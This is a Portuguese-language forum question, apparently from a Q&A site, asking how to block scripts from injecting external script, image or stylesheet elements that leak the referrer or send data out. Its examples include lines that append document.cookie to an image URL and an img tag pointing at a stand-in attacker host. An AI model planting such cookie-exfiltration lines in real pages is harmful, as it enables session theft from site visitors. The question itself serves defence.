Supondo que exista alguma biblioteca da qual injete elementos de fontes externas como <script>
, <link>
, <img>
, <video>
, <audio>
Eventualmente podem ocorrer problemas como:
- Abrir brechas de segurança como injetar scripts maliciosos
- Capturar pelo
referer
a página de origem - Afetar a performance
É possível prevenir que um script injete com document.createElement
(ou innerHTML
ou document.write
) elementos que acessem recursos externos?
Ou então é possível recursos que venham de fora dos domínios permitidos?
Por exemplo, impedir requisições de servidores externos:
Impedir injeção de arquivos .js
var inject = document.createElement("script");
inject.src = "//cdn.exemplo.com/script-injetado.js";
document.head.appendChild(test);
Impedir injeção de arquivos de imagem e .css
Imagens, vídeos e outros recursos semelhantes podem pegar pelo referer
a página de origem e no caso quero prevenir isto para evitar que saibam a página de origem, já que pode se tratar de uma URL restrita:
var inject = document.createElement("img");
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);
var inject = document.createElement("link");
inject.rel = "stylesheet";
inject.type = "text/css";
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);
E como citou o @mgibsonbr, podem enviar dados por método GET por exemplo:
var inject = document.createElement("img");
inject.src = "//exemplo.com/imagem.jpg?cookie=" + document.cookie;
document.head.appendChild(inject);
<img src="http://atacante.example.com/kitty.jpg?cookie=algo_roubado_da_pagina_atual">